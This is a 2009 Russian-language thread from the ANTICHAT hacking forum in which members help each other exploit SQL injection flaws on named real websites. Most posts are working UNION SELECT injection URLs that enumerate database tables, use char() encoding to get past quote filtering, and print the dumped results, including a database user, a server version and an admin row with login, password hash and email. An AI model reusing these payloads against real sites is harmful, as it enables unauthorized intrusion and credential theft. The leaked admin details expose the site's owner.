HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.01.2009, 16:26
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Gemini12, таблица пустая:
http://line.kz/reviews/?cat=13&id=1+or+0=(SELECT+TOP+1+count(*)+FROM+shop users)
 
Ответить с цитированием

  #2  
Старый 03.01.2009, 12:16
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078

Репутация: 126
Отправить сообщение для F4R с помощью ICQ
По умолчанию

нашол багу, раскрутить неудаётся помогите плиз)
Цитата:
http://www.ural.tvoe.tv/?page=abonents&id=1188%27
 
Ответить с цитированием

  #3  
Старый 03.01.2009, 12:22
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию

Цитата:
Сообщение от F4R  
нашол багу, раскрутить неудаётся помогите плиз)
че там крутить то...
Цитата:
http://www.ural.tvoe.tv/?page=abonents&id=-1+union+select+1,concat_ws(0x3a,user(),version(),d atabase()),3,4,5/*
h000153_1_1@localhost:5.0.32-Debian_7etch8-log:h000153_1
 
Ответить с цитированием

  #4  
Старый 03.01.2009, 12:40
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию

Цитата:
че там крутить то...
Если умеешь тока кавычку ставить, то не просто "что там крутить"))))
 
Ответить с цитированием

  #5  
Старый 03.01.2009, 12:55
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078

Репутация: 126
Отправить сообщение для F4R с помощью ICQ
По умолчанию

Цитата:
http://www.ural.tvoe.tv/?page=abonents&id=-1+union+select+1,column_name,3,4,5+from+informatio n_schema.columns+where+table_name=0x20096e6b735f61 646d696e+limit+1,1%20--
табличка nks_admin
и как я понимаю нету записей?
 
Ответить с цитированием

  #6  
Старый 03.01.2009, 13:10
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию

Цитата:
Сообщение от F4R  
табличка nks_admin
и как я понимаю нету записей?

Цитата:
http://www.ural.tvoe.tv/?page=abonents&id=-1+union+select+1,column_name,3,4,5+from+informatio n_schema.columns+where+table_name=char(110,107,115 ,95,97,100,109,105,110)--

http://www.ural.tvoe.tv/?page=abonents&id=-1+union+select+1,concat(id,0x3a,login,0x3a,passwor d,0x3a,email),3,4,5+from+nks_admin--
1:root:741de08d7a4cd7c4:info@nks-euroasia.ru
 
Ответить с цитированием

  #7  
Старый 03.01.2009, 13:17
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078

Репутация: 126
Отправить сообщение для F4R с помощью ICQ
По умолчанию

Цитата:
http://www.ural.tvoe.tv/?page=abonents&id=-1+union+select+1,column_name,3,4,5+from+informatio n_schema.columns+where+table_name=char(110,107,115 ,95,97,100,109,105,110)--
где можно про это почитать?
я просто такого никогда не видел)
 
Ответить с цитированием

  #8  
Старый 03.01.2009, 13:22
aka PSIH
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021

Репутация: 676


По умолчанию

Цитата:
Сообщение от F4R  
где можно про это почитать?
про char() ?

char(ASCII,ASCII, ... )

перевести можно тут например...
 
Ответить с цитированием

  #9  
Старый 03.01.2009, 13:44
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078

Репутация: 126
Отправить сообщение для F4R с помощью ICQ
По умолчанию

Цитата:
Сообщение от aka PSIH  
про char() ?

char(ASCII,ASCII, ... )

перевести можно тут например...

ВСЁ ОТЛИЧНО ВСЁ ПОНЯЛ)_)) ОГРОМНОЕ СПС ) ОСОБЕННО ТЕБЕ!

ещё если не сложно подкинька хороших линком на с=татейки про атаки на SQL
 
Ответить с цитированием

  #10  
Старый 03.01.2009, 14:00
Iceangel_
Постоянный
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206

Репутация: 1861


По умолчанию

2 F4R
http://forum.antichat.ru/threadnav43966-1-10.html
injection.rulezz.ru
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ